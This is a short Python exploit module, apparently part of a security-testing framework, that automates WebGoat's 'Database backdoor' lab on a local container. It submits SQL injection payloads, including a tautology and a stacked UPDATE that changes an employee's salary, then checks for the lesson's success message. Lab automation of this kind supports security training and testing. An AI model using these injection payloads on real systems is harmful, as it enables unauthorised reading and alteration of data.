from data.exploits.base.BasicExploit import BasicExploit

class Exploit(BasicExploit):

	attributes = {
	  'Name' :		  'WebGoat_DBBackdoor',
	  'Description' : "'Database backdoor' example from WebGoat",
	  'References' :  [["EMPTY"]],
	  'Target' :	  "webgoat",
	  'Container': 'ubuntu',
	  'TargetLicense' : '',
	  'Plugin' : '',
	  'VulWikiPage' : "None",
	  'Type' : 'DB Backdoor'
	}


	def runExploit(self):
		goat = self.wrapper
		goat.navigate("http://guest:guest@localhost:%s/WebGoat/attack" % mapped_port_host)
		goat.find_name("start").click()
		goat.implicit_wait(5)

		goat.navigate("http://localhost:%s/WebGoat/attack?Screen=26&menu=1200" % mapped_port_host)
		goat.find_name("username").keys("101 OR 1=1")
		goat.find_name("Submit").click()
		goat.implicit_wait(5)

		goat.find_name("username").keys("101; UPDATE employee SET salary=100500 WHERE userid=101")
		goat.find_name("Submit").click()
		goat.implicit_wait(5)
		self.assertIn("You have succeeded", goat.find("message").raw.text, "Exploit didn't work")
